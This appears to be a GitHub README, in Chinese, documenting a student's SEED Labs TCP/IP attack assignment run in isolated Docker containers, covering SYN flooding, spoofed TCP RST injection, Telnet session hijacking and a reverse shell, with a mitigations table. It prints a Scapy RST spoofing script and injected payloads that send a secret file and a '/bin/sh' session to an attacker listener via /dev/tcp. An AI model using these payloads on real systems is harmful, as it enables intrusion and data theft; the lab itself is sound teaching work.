tairimehdi/tcp-ip-attack-lab
GitHub: tairimehdi/tcp-ip-attack-lab
一个基于SEED Labs隔离环境的TCP/IP攻击实验教程,涵盖SYN泛洪、TCP RST攻击、会话劫持和反向Shell四种经典网络攻击的原理剖析与实操复现。
Stars: 0 | Forks: 0
# 🛡️ TCP/IP 攻击实验 — 高级网络安全
## 📌 仓库概述
本仓库记录了在伊斯兰堡 FAST-NUCES **高级网络安全** 课程中进行的一项 TCP/IP 攻击实操实验。所有攻击均在 SEED Labs 基础设施的**完全隔离虚拟环境**中执行 —— 未针对真实网络或未授权系统进行操作。
实验涵盖四个核心 TCP/IP 攻击类别:SYN 泛洪、TCP RST 攻击、TCP 会话劫持以及通过会话劫持实现反向 Shell。每项任务均记录了逐步的方法论、代码、Wireshark 捕获和分析。
## ⚠️ 免责声明
## 🧪 实验环境
| 组件 | 详情 |
|------------------|----------------------------------|
| **宿主操作系统** | SEED Ubuntu 20.04 VM |
| **攻击者** | Docker 容器 (`seed-attacker`) |
| **受害者** | Docker 容器 (`victim-10.9.0.5`) |
| **用户** | `user1-10.9.0.6`, `user2-10.9.0.7` |
| **网络** | 隔离的虚拟网桥网络 |
| **Docker** | v19.03.8 + Docker Compose v1.27.4 |
## 🛠️ 工具与技术
| 工具 | 用途 |
|------|---------|
| **Scapy** | 数据包构造、欺骗与注入 |
| **Wireshark** | 数据包捕获与流量分析 |
| **tcpdump** | 基于命令行的数据包嗅探 |
| **Netcat (nc)** | 反向 Shell 监听器 |
| **Python 3** | 编写 SYN 泛洪与会话劫持攻击脚本 |
| **GCC / C** | 编译高速 SYN 泛洪二进制文件 |
| **Docker** | 容器化的受害者/攻击者环境 |
## 📂 仓库结构
```
tcp-ip-attack-lab/
│
├── README.md # This file
├── report/
│ └── 25I-7722_Assignment1.pdf # Full lab report (submitted)
│
├── task1-syn-flood/
│ ├── synflood.py # Python SYN flood script
│ └── synflood.c # C-based SYN flood program
│
├── task2-rst-attack/
│ └── rst.py # TCP RST packet injection script
│
├── task3-session-hijacking/
│ └── task3_hijacking.py # TCP session hijack + data exfiltration
│
└── task4-reverse-shell/
└── task4_hijacking.py # Reverse shell via TCP session hijacking
```
## 🗂️ 任务摘要
### 任务 1 — SYN 泛洪攻击
**目标:** 通过向受害者发送大量伪造的 SYN 包来耗尽其 TCP 积压队列,从而阻止合法连接。
#### 工作原理:
SYN 泛洪利用了 TCP 三次握手机制。攻击者发送大量带有**随机伪造源 IP** 的 SYN 包,迫使受害者分配半开连接(SYN_RECV 状态),直到其 **Transmission Control Block (TCB)** 队列满。合法用户随后会收到“连接超时”。
#### 子任务:
- **任务 1.1 — Python (Scapy):** 速率较慢;需要将 `tcp_max_syn_backlog` 减少到 50 才能成功。
- **任务 1.2 — C 程序:** 由于直接访问原始套接字且无解释器开销,速度更快。在默认队列大小下攻击即可成功。
- **任务 1.3 — SYN Cookie 防御:** 通过 `sysctl -w net.ipv4.tcp_syncookies=1` 启用。服务器将连接信息编码在 SYN-ACK 序列号中 —— 在收到有效 ACK 之前不分配队列。**攻击失效。**
#### 关键命令:
```
# 减小 TCB 队列 (victim)
sysctl -w net.ipv4.tcp_max_syn_backlog=50
# 监控半开连接 (victim)
ss -n state syn-recv sport = :23
# 启用 SYN cookie 防御 (victim)
sysctl -w net.ipv4.tcp_syncookies=1
# 清空 TCP metrics 缓存
ip tcp_metrics flush
```
#### 关键见解 — 为什么 C 比 Python 快?
| 因素 | Python | C |
|--------|--------|---|
| 执行方式 | 解释执行 | 编译执行 |
| 套接字访问 | 通过库 | 原始套接字 |
| 开销 | 高 (GIL, 解释器) | 最低 |
| 数据包速率 | 低 | 非常高 |
### 任务 2 — TCP RST 攻击
**目标:** 通过注入伪造的 TCP RST 包来终止两台主机之间活动的 Telnet 会话。
#### 工作原理:
攻击者使用 Wireshark/tcpdump 嗅探活动的 TCP 会话以提取:
- 源 IP 与端口
- 目的 IP 与端口
- 当前序列号
接着使用 Scapy 伪造一个 RST 包,冒充客户端。受害服务器收到 RST 后立即关闭连接。
#### 攻击脚本 (`rst.py`):
```
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=39180, dport=23, flags="R", seq=3887566784)
pkt = ip/tcp
send(pkt, verbose=1)
```
#### 验证结果:
Wireshark 确认了双向的 RST 包(`39180 → 23 [RST]` 和 `23 → 39180 [RST]`)。客户端会话打印出 `Connection closed by foreign host.`
### 任务 3 — TCP 会话劫持
**目标:** 向活动的、已认证的 Telnet 会话中注入恶意命令,从受害者处窃取敏感数据。
#### 工作原理:
1. User1 与受害者之间建立合法的 Telnet 会话。
2. 攻击者嗅探 TCP 参数(源/目的 IP、端口、序列号与确认号)。
3. 伪造一个携带 Shell 命令作为载荷的 ACK 包。
4. 受害者执行注入的命令,并通过 `ncat` 将输出回传给攻击者。
#### 攻击脚本摘录:
```
data = "\ncat /home/seed/confidential/secret.txt > /dev/tcp/10.9.0.1/9090\n"
pkt = ip/tcp/data
send(pkt, verbose=0)
```
#### 攻击者监听器:
```
nc -lnv 9090
# 收到的输出:"Sarmad is Hacker"
```
#### 结果: ✅ 敏感文件内容窃取成功。
### 任务 4 — 通过 TCP 会话劫持实现反向 Shell
**目标:** 通过向被劫持的 TCP 会话注入反向 Shell 命令,在受害者机器上获得完整的交互式 Shell 访问权限。
#### 工作原理:
作为任务 3 的扩展,注入的载荷现在在受害者上启动 `/bin/sh` 并将 I/O 重定向到攻击者的 netcat 监听器 —— 从而提供完整的 Shell 控制权。
#### 载荷:
```
data = "\n/bin/sh -i > /dev/tcp/10.9.0.1/9090 2>&1 0<&1\n"
```
#### 结果: ✅ 成功获取完整的反向 Shell。攻击者在受害者的机器上远程运行了 `ifconfig`。
## 🔐 防御与缓解措施
| 攻击 | 防御技术 |
|--------|------------------|
| SYN 泛洪 | SYN Cookies (`tcp_syncookies=1`)、速率限制、防火墙规则 |
| TCP RST 攻击 | 加密会话 (SSH/TLS)、序列号随机化 |
| 会话劫持 | 使用加密协议 (SSH 代替 Telnet)、TLS |
| 反向 Shell | 出站过滤、网络分段、IDS/IPS |
## 📋 设置与复现(仅限实验环境)
```
# 1. 提取 lab 设置
cd TCP_Attack_Lab && ls # confirm Labsetup folder
# 2. 构建 containers
cd Labsetup
docker-compose build
# 3. 启动 containers
docker-compose up -d
# 4. 验证运行中的 containers
dockps
# 5. 进入 attacker container
docksh seed-attacker
```
## 📄 完整报告
包含所有截图、Wireshark 捕获和分析的完整实验报告可在以下链接获取:
📁 [`report/25I-7722_Assignment1.pdf`](./report/25I-7722_Assignment1.pdf)
## 👤 作者
| 字段 | 详情 |
|-------|---------|
| **姓名** | Sarmad Farooq |
| **学号** | 25I-7722 |
| **项目** | MS 网络安全 |
| **院校** | FAST-NUCES, 伊斯兰堡校区 |
| **课程** | 高级网络安全 |
| **讲师** | Dr. Zafar Iqbal |
| **实验来源** | [SEED Labs — TCP/IP Attack Lab](https://seedsecuritylabs.org/Labs_20.04/Networking/TCP_Attacks/) |
## 📚 参考资料
- SEED Labs TCP/IP Attack Lab — [seedsecuritylabs.org](https://seedsecuritylabs.org/Labs_20.04/Networking/TCP_Attacks/)
- Wenliang Du, *Computer & Internet Security: A Hands-on Approach*, 3rd Ed.
- RFC 793 — Transmission Control Protocol
- Linux `sysctl` documentation for TCP kernel parameters
**⭐ 如果您觉得这对学习有帮助,请考虑给仓库一个 Star。**
*所有内容仅用于教育和学术目的。*
标签:Docker, DoS攻击, Python, Scapy, SEED Labs, SYN洪泛, TCP/IP协议栈, TCP/IP攻击, TCP RST攻击, TCP会话劫持, Wireshark, 中间人攻击, 句柄查看, 安全实验, 安全防御评估, 客户端加密, 数据包构造, 无后门, 模糊测试, 欺骗攻击, 网络协议分析, 网络嗅探, 网络安全, 网络安全平台, 网络安全课程, 请求拦截, 逆向Shell, 逆向工具, 隐私保护